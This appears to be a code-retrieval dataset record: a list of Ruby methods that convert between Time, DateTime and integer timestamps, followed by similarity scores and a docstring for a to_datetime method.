"def time\n Time.parse(@timestamp)\n end",
"def to_time\n if_period(super) do |p,t|\n # Ruby 2.4.0 changed the behaviour of to_time so that it preserves the\n # offset instead of converting to the system local timezone.\n #\n # When self has an associated TimezonePeriod, this implementation will\n # preserve the offset on all versions of Ruby.\n LocalTime.at(t.to_i, t.subsec * 1_000_000).localize(p)\n end\n end",
"def timestamp_to_time(timestamp)\n Time.at(timestamp.nanos * 10**-9 + timestamp.seconds)\n end",
"def to_time(dt)\n ::Time.utc(dt.year, dt.month, dt.day, dt.hour, dt.min, dt.sec + dt.sec_fraction)\n end",
"def time2\n __time = time\n __time && Time.from_apr_time(__time)\n end",
"def convert_time_to_milliseconds(time)\n ((Time.strptime(time, '%H:%M:%S,%L') - Time.now.at_midnight) * 1000).to_i\n end",
"def time_str\n Time.at(time[0..-4].to_f + time[-3..-1].to_f / 1000)\n .strftime(\"%M:%S.%L\")\n end",
"def s_time\n to_form_time(start_time.getlocal)\n end",
"def normalize_time(time)\n # if the time param is a `Date` / `String` convert it to a `Time` object\n if time.is_a?(Date)\n normalized_time = time.to_time\n elsif time.is_a?(String)\n normalized_time = Time.parse(time)\n else\n normalized_time = time\n end\n\n # convert the `Time` object to a float (if necessary)\n normalized_time = normalized_time.to_f unless normalized_time.is_a?(Numeric)\n\n normalized_time\n end",
"def time\n start.try(:to_time).try(:strftime, '%-l:%M %P')\n end",
"def time\n Integer(connection.write(\"get_time\", false))\n rescue ArgumentError\n 0\n end",
"def time\n Integer(connection.write(\"get_time\", false))\n rescue ArgumentError\n 0\n end",
"def time\n Integer(connection.write(\"get_time\", false))\n rescue ArgumentError\n 0\n end",
"def set_time(time)\n @time = time.getutc\n return self\n end",
"def to_time(form = :utc)\n ::Time.send(\"#{form}_time\", *ParseDate.parsedate(self)[0..5].map {|arg| arg || 0})\n end",
"def convert_time time\n proto = Google::Protobuf::Timestamp.new\n proto.from_time(time)\n proto\n end",
"def convert_time time\n proto = Google::Protobuf::Timestamp.new\n proto.from_time(time)\n proto\n end",
"def time_for(record)\n return nil unless record\n case database_type\n when :mongo\n return Time.at(record['ts'].seconds)\n when :toku\n return record['ts']\n end\n end",
"def to_time(value)\n hour = (value/3600).floor\n minute = ((value - hour*3600)/60).floor\n second =(value - hour*3600 - minute*60).floor\n\n hour = \"0.#{Hour}\" if (hour.length == 1 )\n minute = \"0.#{minute}\" if (minute.length == 1 )\n second = \"0.#{second}\" if (second.length == 1 )\n\n return (\"#{hour}.:.#{minute}}.:.#{second}\")\n end",
"def time()\n return _request([\n 'time',\n '0'\n ])[0]\n end",
"def to_time(dt)\n ::Time.utc(dt.year, dt.month, dt.day, dt.hour, dt.min, dt.sec, dt.sec_fraction.to_f * 1000000)\n end",
"def to_utc_time\n Time.utc(1970, 1, 1, @hour, @minute, @second)\n end",
"def time(value)\n _parse_time(value)\n end",
"def time\n return @time\n end",
"def to_time\n p = period\n if p\n new_time(LocalTime).localize(p)\n else\n super\n end\n end",
"def nytimes_time(time, opts={})\n raise ArgumentError.new \"Time or DateTime required\" unless time.is_a?(DateTime) || time.is_a?(Time)\n str = \"\"\n str << time.strftime(\"%l:%M\").strip\n str << time.strftime(\" %p\").sub('PM','p.m.').sub('AM','a.m.') unless opts[:hide_abbreviation]\n str\n end",
"def to_time(value)\n\n hour = (value/3600).floor\n minute = ((value - hour*3600)/60).floor\n second =(value - hour*3600 - minute*60).floor\n\n hour = \"0.#{Hour}\" if (hour.length == 1 )\n minute = \"0.#{minute}\" if (minute.length == 1 )\n second = \"0.#{second}\" if (second.length == 1 )\n\n return (\"#{hour}.:.#{minute}}.:.#{second}\")\n end",
"def get_datetime date, time\n time = DateTime.strptime time, '%H:%M' rescue return date\n (date + time.hour.hours + time.minute.minutes).to_datetime\n end",
"def time\n\t\tresponse = self.request( :time )\n\t\treturn nil if response.empty?\n\t\treturn Time.at( response.first[:time].to_i )\n\tend",
"def contact_time(time)\n return '' if !time.is_a?(Time) and !(Float Integer).include?(time_offset.class)\n time - time_offset\n rescue\n time\n end",
"def normalize_time(time, debug)\n begin\n time = time if(time.is_a?(Time))\n time = Time.parse(\"#{time.to_s}\") if(!time.is_a?(Time))\n rescue\n time = Time.now # Upon failure use the current time value\n end\n\n return time\nend",
"def sync_time(time)\n Time.local(self.dt.year, self.dt.mon, self.dt.mday, time.hour, time.min, time.sec)\n end",
"def parse_time(time)\n case time\n when Time\n time\n when Integer, Float\n Time.at(time)\n else\n Time.parse(time.to_s)\n end\n end"
] |
[
"0.74301505",
"0.73713",
"0.7048538",
"0.7003883",
"0.6817992",
"0.6806805",
"0.6634038",
"0.6603997",
"0.6596779",
"0.65903884",
"0.65893507",
"0.65476406",
"0.6543548",
"0.6515027",
"0.65133315",
"0.64883703",
"0.6445421",
"0.6435426",
"0.6404207",
"0.6372866",
"0.6356819",
"0.63280946",
"0.6309632",
"0.6263927",
"0.62204313",
"0.62158024",
"0.6182457",
"0.6130363",
"0.6097143",
"0.60874236",
"0.6071051",
"0.6061197",
"0.6061197",
"0.60611117",
"0.60609883",
"0.60582304",
"0.6057418",
"0.60555243",
"0.60499394",
"0.6047929",
"0.6047929",
"0.6031242",
"0.59954536",
"0.599027",
"0.5982061",
"0.5965191",
"0.5950479",
"0.5949587",
"0.5940456",
"0.59326893",
"0.5922329",
"0.59218645",
"0.59218234",
"0.59118",
"0.59053737",
"0.58991855",
"0.5872908",
"0.58707696",
"0.58438057",
"0.5840749",
"0.5831425",
"0.58288056",
"0.5827806",
"0.58195716",
"0.5808856",
"0.58061314",
"0.5801823",
"0.57983035",
"0.57959735",
"0.5783649",
"0.57783335",
"0.57764465",
"0.5758699",
"0.57554907",
"0.575542",
"0.5743291",
"0.5740445",
"0.5736864",
"0.5736864",
"0.5736864",
"0.57354444",
"0.5729167",
"0.57244986",
"0.57244986",
"0.57226205",
"0.57201123",
"0.57098496",
"0.57098025",
"0.5709106",
"0.5705661",
"0.5698147",
"0.5686988",
"0.56799495",
"0.5678992",
"0.5655721",
"0.5650582",
"0.56491804",
"0.5648767",
"0.56429064",
"0.5633281"
] |
0.7272988
|
2
|
Returns the time as a DateTime. When converting from a Time, the result is truncated to microsecond precision.
|
def to_datetime
# Thread-safety: It is possible that the value of @datetime may be
# calculated multiple times in concurrently executing threads. It is not
# worth the overhead of locking to ensure that @datetime is only
# calculated once.
unless @datetime
# Avoid using Rational unless necessary.
u = usec
s = u == 0 ? sec : Rational(sec * 1000000 + u, 1000000)
result = RubyCoreSupport.datetime_new(year, mon, mday, hour, min, s)
return result if frozen?
@datetime = result
end
@datetime
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_time\n # Thread-safety: It is possible that the value of @time may be\n # calculated multiple times in concurrently executing threads. It is not\n # worth the overhead of locking to ensure that @time is only\n # calculated once.\n\n unless @time\n if @timestamp\n @time = Time.at(@timestamp).utc\n else\n # Avoid using Rational unless necessary.\n u = usec\n s = u == 0 ? sec : Rational(sec * 1000000 + u, 1000000)\n @time = Time.new(year, mon, mday, hour, min, s, offset)\n end\n end\n\n @time\n end",
"def to_time\n # Thread-safety: It is possible that the value of @time may be \n # calculated multiple times in concurrently executing threads. It is not \n # worth the overhead of locking to ensure that @time is only \n # calculated once.\n \n unless @time\n result = if @timestamp\n Time.at(@timestamp).utc\n else\n Time.utc(year, mon, mday, hour, min, sec, usec)\n end\n\n return result if frozen?\n @time = result\n end\n \n @time \n end",
"def to_time\n # Thread-safety: It is possible that the value of @time may be\n # calculated multiple times in concurrently executing threads. It is not\n # worth the overhead of locking to ensure that @time is only\n # calculated once.\n\n unless @time\n if @timestamp\n @time = Time.at(@timestamp).utc\n elsif @timestamp_with_offset\n @time = time_with_offset(Time.at(@timestamp_with_offset.timestamp), @timestamp_with_offset.utc_offset)\n else\n # Avoid using Rational unless necessary.\n u = usec\n s = u == 0 ? sec : Rational(sec * 1000000 + u, 1000000)\n @time = Time.new(year, mon, mday, hour, min, s, offset)\n end\n end\n\n @time\n end",
"def to_time\n ::Time.at(self.getTime/1000)\n end",
"def to_datetime\n # Thread-safety: It is possible that the value of @datetime may be\n # calculated multiple times in concurrently executing threads. It is not\n # worth the overhead of locking to ensure that @datetime is only\n # calculated once.\n\n unless @datetime\n # Avoid using Rational unless necessary.\n u = usec\n s = u == 0 ? sec : Rational(sec * 1000000 + u, 1000000)\n @datetime = DateTime.new(year, mon, mday, hour, min, s, OffsetRationals.rational_for_offset(offset))\n end\n\n @datetime\n end",
"def to_datetime\n # Thread-safety: It is possible that the value of @datetime may be\n # calculated multiple times in concurrently executing threads. It is not\n # worth the overhead of locking to ensure that @datetime is only\n # calculated once.\n\n unless @datetime\n # Avoid using Rational unless necessary.\n u = usec\n s = u == 0 ? sec : Rational(sec * 1000000 + u, 1000000)\n @datetime = DateTime.new(year, mon, mday, hour, min, s, OffsetRationals.rational_for_offset(offset))\n end\n\n @datetime\n end",
"def to_datetime\n @date_time_value\n end",
"def to_time\n self\n end",
"def to_time\n value\n end",
"def to_datetime\n to_time.to_datetime\n end",
"def to_datetime\n ::DateTime.new(@year, @month, @day, @hour, @minute, @second)\n end",
"def to_time\n raise NotImplementedError\n end",
"def as_of_time\n Conversions.string_to_utc_time attributes_before_type_cast['as_of_time']\n end",
"def get_datetime date, time\n time = DateTime.strptime time, '%H:%M' rescue return date\n (date + time.hour.hours + time.minute.minutes).to_datetime\n end",
"def time\n Types::Time.deserialize(@time)\n end",
"def time\n return Time.new(@t_year, @t_month, @t_day, @t_hour, @t_min, @t_sec)\n end",
"def to_time()\n #This is a stub, used for indexing\n end",
"def to_time(t)\n if t.is_a?(::Time) then t\n else from_string(to_string(t)) end\n end",
"def to_time\n t = ::Time.at utc_reference\n Time.new t.utc\n end",
"def set_time_as_datetime(options)\n options[:type] = DateTime if options[:type] == Time\n end",
"def to_time\n\t\tself.offset == 0 ? ::Time.utc_time(year, month, day, hour, min, sec, sec_fraction * (RUBY_VERSION < '1.9' ? 86400000000 : 1000000)) : self\n\tend",
"def time\n #Parse the raw time into a binary time structure...\n time = send_request(Packets::RequestTime.new)\n\n #And convert that to a ruby time.\n time.to_time()\n end",
"def as_datetime\n strftime \"%Y-%m-%d %H:%M\"\n end",
"def to_time\n if preserve_timezone\n @to_time_with_instance_offset ||= getlocal(utc_offset)\n else\n @to_time_with_system_offset ||= getlocal\n end\n end",
"def strip_milliseconds(time)\n ::Time.at(time.to_i)\n end",
"def as_time( d = nil )\n d = (d || self)\n return '' unless [Time, DateTime].include? d.class\n format = 'time_short'\n I18n.l d, :format => I18n.t( 'time.formats.' + format )\n end",
"def get_datetime_from_time(time)\n DateTime.strptime(time.to_s, \"%Y%m%d%H%M%S\").strftime('%Y-%m-%dT%H:%M:%SZ')\n rescue ArgumentError\n nil\n end",
"def google_datetime(time)\n time.to_datetime.rfc3339\n end",
"def for value\n if value.is_a? Numeric\n Time.at value\n elsif value.respond_to? :to_s\n Time.parse value.to_s\n else\n value.to_time\n end\n rescue Exception\n raise ArgumentError, \"unable to convert #{value.inspect} to a Time object\"\n end",
"def time # :nodoc:\n @time ||= day_fraction_to_time day_fraction\n end",
"def to_time\n Chronic.parse self.timestamp\n end",
"def strip_milliseconds(time)\n ::Time.at(time.to_i)\n end",
"def time_as_s time\n time.strftime('%H:%M:%S')\n end",
"def time_for(value)\n if value.respond_to? :to_time\n value.to_time\n elsif value.is_a? Time\n value\n elsif value.respond_to? :new_offset\n # DateTime#to_time does the same on 1.9\n d = value.new_offset 0\n t = Time.utc d.year, d.mon, d.mday, d.hour, d.min, d.sec + d.sec_fraction\n t.getlocal\n elsif value.respond_to? :mday\n # Date#to_time does the same on 1.9\n Time.local(value.year, value.mon, value.mday)\n elsif value.is_a? Numeric\n Time.at value\n else\n Time.parse value.to_s\n end\n rescue ArgumentError => boom\n raise boom\n rescue Exception\n raise ArgumentError, \"unable to convert #{value.inspect} to a Time object\"\n end",
"def time_for(value)\n if value.respond_to? :to_time\n value.to_time\n elsif value.is_a? Time\n value\n elsif value.respond_to? :new_offset\n # DateTime#to_time does the same on 1.9\n d = value.new_offset 0\n t = Time.utc d.year, d.mon, d.mday, d.hour, d.min, d.sec + d.sec_fraction\n t.getlocal\n elsif value.respond_to? :mday\n # Date#to_time does the same on 1.9\n Time.local(value.year, value.mon, value.mday)\n elsif value.is_a? Numeric\n Time.at value\n else\n Time.parse value.to_s\n end\n rescue ArgumentError => boom\n raise boom\n rescue Exception\n raise ArgumentError, \"unable to convert #{value.inspect} to a Time object\"\n end",
"def to_time\r\n hsh = {:year => Time.now.year, :month => Time.now.month, :day => Time.now.day,\r\n :hour => Time.now.hour, :minute => Time.now.minute, :second => Time.now.second,\r\n :usec => Time.now.usec, :ampm => \"\" }\r\n hsh = hsh.update(self.symbolize_keys)\r\n [:year, :month, :day, :hour, :minute, :second, :usec].each {|key| hsh[key] = hsh[key].to_i }\r\n hsh[:hour] = 0 if hsh[:ampm].downcase == \"am\" && hsh[:hour] == 12\r\n hsh[:hour] += 12 if hsh[:ampm].downcase == \"pm\" && hsh[:hour] != 12\r\n Time.local(hsh[:year], hsh[:month], hsh[:day], hsh[:hour], hsh[:minute], hsh[:second], hsh[:usec])\r\n end",
"def time(value)\n if value.respond_to? :to_time\n value.to_time\n elsif value.is_a? Time\n value\n elsif value.respond_to? :new_offset\n d = value.new_offset 0\n t = Time.utc d.year, d.mon, d.mday, d.hour, d.min, d.sec + d.sec_fraction\n t.getlocal\n elsif value.respond_to? :mday\n Time.local(value.year, value.mon, value.mday)\n elsif value.is_a? Numeric\n Time.at value\n elsif value.nil? or value.empty?\n nil\n else\n Time.parse value.to_s\n end\n rescue ArgumentError => boom\n raise boom\n rescue Exception\n raise ArgumentError, \"unable to convert #{value.inspect} to a Time object\"\n end",
"def time\n @time ||= incorporate_utc_offset(@utc, utc_offset)\n end",
"def as_of_time\n @_as_of_time\n end",
"def as_of_time\n @_as_of_time\n end",
"def sync_time(time)\n Time.local(self.dt.year, self.dt.mon, self.dt.mday, time.hour, time.min, time.sec)\n end",
"def time\n DateTime.now.strftime(TIME_FORMAT)\n end",
"def to_time(dt)\n ::Time.utc(dt.year, dt.month, dt.day, dt.hour, dt.min, dt.sec + dt.sec_fraction)\n end",
"def date_time()\n\t\[email protected]\n\t\tif [email protected]?(:time) || @data[:time].empty? || [email protected]?(:date) || @data[:date].empty?\n\t\t\treturn nil\n\t\tend\n\n\t\ttime = @data[:time]\n\t\tdate = @data[:date]\n\t\ttime.gsub!(/\\.[0-9]*$/, \"\") # remove decimals\n\t\tdatetime = \"#{date} #{time} UTC\"\n\n\t\tdate = DateTime.strptime(datetime, \"%d%m%y %H%M%S %Z\")\n\t\tdate\n\tend",
"def convert_to_time(value)\n time = Mongoid::Config.use_activesupport_time_zone? ? ::Time.zone : ::Time\n case value\n when ::String\n time.parse(value)\n when ::DateTime\n return value if value.utc? && Mongoid.use_utc?\n time.local(value.year, value.month, value.day, value.hour, value.min, value.sec)\n when ::Date\n time.local(value.year, value.month, value.day)\n when ::Array\n time.local(*value)\n else\n value\n end\n end",
"def to_datetime\n ::DateTime.civil(year, month, day, hour, min, sec, Rational(utc_offset, 86400), 0)\n end",
"def iso\n to_time.utc.iso8601(3) #include milliseconds\n end",
"def time\n Time.at(data[\"time_ms\"].to_f/1000)\n end",
"def as_of_time\n Conversions.string_to_utc_time attributes['as_of_time']\n end",
"def to_f\n return self.time.to_f\n end",
"def time()\n return self._request([\n 'time',\n '0'\n ])[0]\n end",
"def type\n 'Edm.Time'\n end",
"def get_datetime_from_iso8601(iso8601_time)\n ISO8601::DateTime.new(iso8601_time).to_time.utc\n rescue\n nil\n end",
"def get_datetime_from_iso8601(iso8601_time)\n ISO8601::DateTime.new(iso8601_time).to_time.utc\n rescue\n nil\n end",
"def get_datetime_from_iso8601(iso8601_time)\n ISO8601::DateTime.new(iso8601_time).to_time.utc\n rescue\n nil\n end",
"def get_datetime_from_iso8601(iso8601_time)\n ISO8601::DateTime.new(iso8601_time).to_time.utc\n rescue\n nil\n end",
"def time_to_ms(time)\n (time.to_f * 1000).floor\n end",
"def time_to_ms(time)\n (time.to_f * 1000).floor\n end",
"def time(options = {})\n if @time.is_a?(Time)\n @time.strftime(\"%l#{@time.min > 0 ? \":%M\" : ''}%P\").strip\n else\n nil\n end\n end",
"def to_time(dt)\n ::Time.utc(dt.year, dt.month, dt.day, dt.hour, dt.min, dt.sec, dt.sec_fraction.to_f * 1000000)\n end",
"def time_as_timestamp\n date = @date\n if @date.kind_of? String\n date = Date.parse(@date).to_time.to_i\n end\n\n date\n end",
"def convert_to_time(value)\n time = Mongoid::Config.use_activesupport_time_zone? ? ::Time.zone : ::Time\n case value\n when ::String\n time.parse(value)\n when ::DateTime\n time.local(value.year, value.month, value.day, value.hour, value.min, value.sec)\n when ::Date\n time.local(value.year, value.month, value.day)\n when ::Array\n time.local(*value)\n else\n value\n end\n end",
"def to_datetime\n @to_datetime ||= utc.to_datetime.new_offset(Rational(utc_offset, 86_400))\n end",
"def normalize_time\n if time.present?\n Time::DATE_FORMATS[:ms] = \"%M:%S\"\n self.time = \"0:#{time.to_formatted_s(:ms)}\".to_time\n end\n end",
"def to_time\r\n #MES- From activerecord-1.13.2\\lib\\active_record\\connection_adapters\\abstract\\schema_definitions.rb\r\n # Function was called string_to_time\r\n time_array = ParseDate.parsedate(self)[0..5]\r\n # treat 0000-00-00 00:00:00 as nil\r\n #MES- Next line WAS the following, but we don't have access to Base here\r\n #Time.send(Base.default_timezone, *time_array) rescue nil\r\n Time.utc(*time_array) rescue nil\r\n end",
"def timestamp_to_datetime(timestamp)\n Time.at(timestamp.to_f / 1000.0).utc\n end",
"def get_time_simple()\n unless(@free_time.nil?)\n return @free_time\n else\n return @timelines[0].get_time()\n end\n end",
"def get_time\n Time.new.strftime(\"%Y-%m-%d %H:%M:%S\")\n end",
"def typecast_value_time(value)\n case value\n when Time\n if value.is_a?(SQLTime)\n value\n else\n # specifically check for nsec == 0 value to work around JRuby 1.6 ruby 1.9 mode bug\n SQLTime.create(value.hour, value.min, value.sec, (value.respond_to?(:nsec) && value.nsec != 0) ? value.nsec/1000.0 : value.usec)\n end\n when String\n Sequel.string_to_time(value)\n when Hash\n SQLTime.create(*[:hour, :minute, :second].map{|x| (value[x] || value[x.to_s]).to_i})\n else\n raise Sequel::InvalidValue, \"invalid value for Time: #{value.inspect}\"\n end\n end",
"def tod(time)\n Time.zone.parse(time).seconds_since_midnight\n end",
"def tod(time)\n Time.zone.parse(time).seconds_since_midnight\n end",
"def to_time\n Time.at(CF.CFDateGetAbsoluteTime(self) + CF.kCFAbsoluteTimeIntervalSince1970)\n end",
"def attribute_to_time(time)\n time = Time.local(time.year, time.month, time.day) if time.is_a?(Date)\n time = Time.parse(time) if time.is_a?(String)\n time\n end",
"def time\n @time ||= Time.at( timestamp / 1_000_000.0 )\n end",
"def conv_to_ms(time)\n time.to_i * 1000\n end",
"def convert_time_to_milliseconds(time)\n ((Time.strptime(time, '%H:%M:%S,%L') - Time.now.at_midnight) * 1000).to_i\n end",
"def to_time\n if_period(super) do |p,t|\n # Ruby 2.4.0 changed the behaviour of to_time so that it preserves the\n # offset instead of converting to the system local timezone.\n #\n # When self has an associated TimezonePeriod, this implementation will\n # preserve the offset on all versions of Ruby.\n LocalTime.at(t.to_i, t.subsec * 1_000_000).localize(p)\n end\n end",
"def to_time\n preserve_timezone ? getlocal(utc_offset) : getlocal\n end",
"def to_f\n to_time.to_f\n end",
"def set_time(time)\n @time = time.getutc\n return self\n end",
"def to_time(t=nil)\n t ||=Time.now\n Time.new(t.year,t.month,t.day,@hours,@minutes,0)\n end",
"def norm(time)\n Time.new(time.to_i)\n end",
"def toMillis(time); (time.to_f * 1000).to_i end",
"def iso_time\n @iso_time ||= Time.now.utc.iso8601\n end",
"def time\n @originalTime.gsub(/[ (AM|PM)]/, '').split(':').map(&:to_f)\n end",
"def to_datetime\n self\n end",
"def convert_time time\n proto = Google::Protobuf::Timestamp.new\n proto.from_time(time)\n proto\n end",
"def convert_time time\n proto = Google::Protobuf::Timestamp.new\n proto.from_time(time)\n proto\n end",
"def get_time\n\t\[email protected]\n\tend",
"def castTime(hash={})\n\t\troundTime(hash)\n\tend",
"def time_as_human\n return Knj::Strings.secs_to_human_time_str(self.time_total, :secs => false)\n end",
"def time()\n return _request([\n 'time',\n '0'\n ])[0]\n end",
"def time2\n __time = time\n __time && Time.from_apr_time(__time)\n end",
"def to_time\n begin\n Time.parse(self)\n rescue => e\n raise Sequel::Error::InvalidValue, \"Invalid time value '#{self}' (#{e.message})\"\n end\n end",
"def to_time\n return self.to_i.to_time if self =~ DIGIT_ONLY_REGEX\n if self =~ US_DATE_REGEX\n Time.parse(us_date_to_iso_str)\n elsif self =~ JSON_DATE_REGEX\n json_date_to_time\n else\n Time.parse(self)\n end\n end",
"def to_datetime(val)\n case val\n when String\n Time.parse(val)\n when Fixnum\n Time.at(val)\n else raise \"Could not parse #{val.inspect} as Time\"\n end\n end",
"def time_s\n time_to_s(time)\n end",
"def to_time\n p = period\n if p\n new_time(LocalTime).localize(p)\n else\n super\n end\n end",
"def time\n Integer(connection.write(\"get_time\", false))\n rescue ArgumentError\n 0\n end",
"def time\n Integer(connection.write(\"get_time\", false))\n rescue ArgumentError\n 0\n end"
] |
[
"0.7100872",
"0.694876",
"0.693944",
"0.68311775",
"0.6732338",
"0.6732338",
"0.6604466",
"0.6453278",
"0.64389724",
"0.6327229",
"0.62855023",
"0.6214323",
"0.61961997",
"0.6181711",
"0.61689866",
"0.607637",
"0.6073339",
"0.6054788",
"0.6011455",
"0.59961665",
"0.59528244",
"0.59237945",
"0.592299",
"0.5907795",
"0.58948845",
"0.58752966",
"0.585761",
"0.58455527",
"0.58353925",
"0.5831097",
"0.5818639",
"0.57983625",
"0.5796481",
"0.5768757",
"0.5767525",
"0.5763489",
"0.5762431",
"0.5732337",
"0.5727035",
"0.5727035",
"0.5725145",
"0.5721681",
"0.5712539",
"0.5680693",
"0.567942",
"0.5676694",
"0.5676026",
"0.56713444",
"0.56696206",
"0.56565946",
"0.56435627",
"0.56327367",
"0.56219757",
"0.56219757",
"0.56219757",
"0.56219757",
"0.5619784",
"0.5619784",
"0.56061625",
"0.56005436",
"0.5590756",
"0.55657816",
"0.55608046",
"0.55549085",
"0.5553747",
"0.5550016",
"0.55395406",
"0.5537796",
"0.553625",
"0.5524486",
"0.5524486",
"0.5511984",
"0.5511798",
"0.5500095",
"0.5493847",
"0.5482263",
"0.54770964",
"0.5475755",
"0.5448999",
"0.5423046",
"0.54193306",
"0.5408176",
"0.5404287",
"0.5404165",
"0.54007447",
"0.54002094",
"0.53966165",
"0.53966165",
"0.53915054",
"0.5384248",
"0.5383348",
"0.53710574",
"0.5367763",
"0.536753",
"0.5366172",
"0.53640544",
"0.5360558",
"0.5356225",
"0.5343116",
"0.5343116"
] |
0.65644306
|
7
|
Returns the time as an integer timestamp.
|
def to_i
# Thread-safety: It is possible that the value of @timestamp may be
# calculated multiple times in concurrently executing threads. It is not
# worth the overhead of locking to ensure that @timestamp is only
# calculated once.
unless @timestamp
result = to_time.to_i
return result if frozen?
@timestamp = result
end
@timestamp
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_timestamp(time = '00:00')\n DateTime.parse([self, time].join(' ')).to_time.to_i\n end",
"def to_i\n return self.time.to_i\n end",
"def to_i\n # Thread-safety: It is possible that the value of @timestamp may be\n # calculated multiple times in concurrently executing threads. It is not\n # worth the overhead of locking to ensure that @timestamp is only\n # calculated once.\n\n unless @timestamp\n @timestamp = to_time.to_i\n end\n\n @timestamp\n end",
"def to_i\n sprintf(\"%04d%02d%02d%02d%02d%02d\", year, mon, day, hour, min, sec).to_i\n end",
"def get_timestamp(time)\n time.to_i.to_s.ljust 13, '0'\n end",
"def time_as_timestamp\n date = @date\n if @date.kind_of? String\n date = Date.parse(@date).to_time.to_i\n end\n\n date\n end",
"def timestamp_to_time num\n Time.at(num / 1000.0 + AssumedTimezoneAdjust, num % 1000).utc\n end",
"def to_i\n # Thread-safety: It is possible that the value of @timestamp may be\n # calculated multiple times in concurrently executing threads. It is not\n # worth the overhead of locking to ensure that @timestamp is only\n # calculated once.\n\n unless @timestamp\n if @timestamp_with_offset\n @timestamp = @timestamp_with_offset.timestamp + @timestamp_with_offset.utc_offset\n else\n time = to_time\n @timestamp = time.to_i + time.utc_offset\n end\n end\n\n @timestamp\n end",
"def to_i\n ((@time.hour * 60) + @time.min) * 60\n end",
"def to_i\n return (((@hour*60)+@minute)*60) + @second\n end",
"def timestamp\n time_formated = Time.now.to_i.to_s.reverse.chop.chop.chop.reverse.to_i\n return time_formated.to_s\nend",
"def to_i\n hour * 60 + minute\n end",
"def timestamp\n Time.now.utc.to_i\n end",
"def timestamp(time)\n date = @file[/(\\w+ \\d+, \\d+)/]\n ASF::Board::TIMEZONE.parse(\"#{date} #{time}\").to_i * 1000\n end",
"def to_i\n seconds_since_unix_epoch.to_i\n end",
"def unixtime\n Time.now.to_i.to_s\n end",
"def time_to_timestamp(time)\n Google::Protobuf::Timestamp.new(seconds: time.to_i, nanos: time.nsec)\n end",
"def to_i\n return @tv_sec\n end",
"def get_timestamp(time)\r\n srandom_r time\r\n t0 = random_r\r\n t1 = 0x17dc65df;\r\n hi = (t0 * t1) >> 32;\r\n t2 = t0 >> 31;\r\n t3 = hi >> 23;\r\n t3 = t3 - t2;\r\n t4 = t3 * 0x55d4a80;\r\n t0 = t0 - t4;\r\n t0 = t0 + 0x989680;\r\n\r\n ieee754_round(t0)\r\n end",
"def get_timestamp\n # Appending integer timestamp including second decimals\n now = Time.now.to_f * 10\n return now.round.to_s\n end",
"def time\n Integer(connection.write(\"get_time\", false))\n rescue ArgumentError\n 0\n end",
"def time\n Integer(connection.write(\"get_time\", false))\n rescue ArgumentError\n 0\n end",
"def time\n Integer(connection.write(\"get_time\", false))\n rescue ArgumentError\n 0\n end",
"def to_i\n\t\tseconds_since_unix_epoch.to_i\n\tend",
"def timestamp\n _timestamp.as_time\n end",
"def timestamp\n Time.at((self[:tsh].to_i << 32 | self[:tsl].to_i) * ts_resol)\n end",
"def timestamp\n _timestamp.as_time\n end",
"def timestamp\n Time.at((self.tsh << 32 | self.tsl) * ts_resol)\n end",
"def toMillis(time); (time.to_f * 1000).to_i end",
"def timestamp\n Time.now.to_i.to_s\n end",
"def time\n @time ||= Time.at( timestamp / 1_000_000.0 )\n end",
"def timestamp\n time.strftime formatter\n end",
"def time\n Time.parse(@timestamp)\n end",
"def time_s\n time_to_s(time)\n end",
"def to_i\n utc.to_i\n end",
"def toMillis(time)\n (time.to_f * 1000).to_i\n end",
"def conv_to_ms(time)\n time.to_i * 1000\n end",
"def timestamp\n #data[\"timestamp\"] as? TimeInterval ?? 0\n timestamp = data[\"timestamp\"]\n timestamp.to_i || 0\n end",
"def get_timestamp\n timestamp = Time.now.gmtime\n timestamp = timestamp.strftime(\"%Y-%m-%dT%H:%M:%S.000Z\")\n timestamp.to_s\n end",
"def timestamp \n\ttime = Time.new\n\t\"#{time.day}/#{time.month}/#{time.year}\"\nend",
"def timestamp\n\t\tTime.now.to_i\n\tend",
"def convert_timestamp(ts)\n return ts.to_i - @@seconds_1900_1970\n end",
"def timestamp\n @i ||= 0\n \"#{Time.now.utc.iso8601}.#{@i += 1}\"\n end",
"def to_i\n self.in_seconds\n end",
"def timestamp_to_time(timestamp)\n Time.at(timestamp.nanos * 10**-9 + timestamp.seconds)\n end",
"def to_time()\n #This is a stub, used for indexing\n end",
"def get_timestamp\n timestamp = Time.now.gmtime \n timestamp = timestamp.strftime(\"%a, %d %b %Y %H:%M:%S GMT\")\n timestamp.to_s\n end",
"def time_id(time)\n time.strftime(\"%Y%m%d\")\n end",
"def timestamp\n ((Time.now.to_f - StartTime)*1000).round\n end",
"def to_time\n ::Time.at(self.getTime/1000)\n end",
"def time_to_ms(time)\n (time.to_f * 1000).floor\n end",
"def time_to_ms(time)\n (time.to_f * 1000).floor\n end",
"def timestamp(now)\n (now - @start_time) * 1000\n end",
"def tod(time)\n Time.zone.parse(time).seconds_since_midnight\n end",
"def tod(time)\n Time.zone.parse(time).seconds_since_midnight\n end",
"def timestamp_value\n @timestamp_value ||=\n ((@time_hi_and_version & 0b1111_1111_1111) << 48) |\n (@time_mid << 32) | @time_low\n end",
"def time()\n return _request([\n 'time',\n '0'\n ])[0]\n end",
"def timestamp t\n\n\t\t::Pantheios::Core.timestamp t, nil\n\tend",
"def to_i\n @seconds\n end",
"def timestamp\n timestamp_to_datetime(static_data(\"timestamp\"))\n end",
"def timestamp\n Time.at((attributes[:timestamp] || Time.now).to_i)\n end",
"def time()\n return self._request([\n 'time',\n '0'\n ])[0]\n end",
"def format_time(time)\n time = time.to_f * 1_000\n [0, time.to_i].max\n end",
"def to_timestamp(val)\n return if val.nil?\n\n case val\n when String\n (date = Time.parse(val)) && date.to_i\n when Date\n val.to_time.to_i\n else\n val.to_i\n end\n end",
"def to_ms()\n time = Time.now\n start = Time.new(1970,1,1)\n ((time.to_f - start.to_f) * 1000.0).to_i\nend",
"def epoch_now()\n Time.now.to_i\n end",
"def time_as_s time\n time.strftime('%H:%M:%S')\n end",
"def to_time\n value\n end",
"def to_f\n return self.time.to_f\n end",
"def encode_time(value)\n encode_uint64(value.to_i)\n end",
"def minute_timestamp_from_producer_clock\n t=Time.now\n t.strftime(\"%Y%j%H%M\").to_i\n end",
"def sec\n if @time\n @time.sec\n elsif @datetime\n @datetime.sec\n else\n to_time.sec\n end\n end",
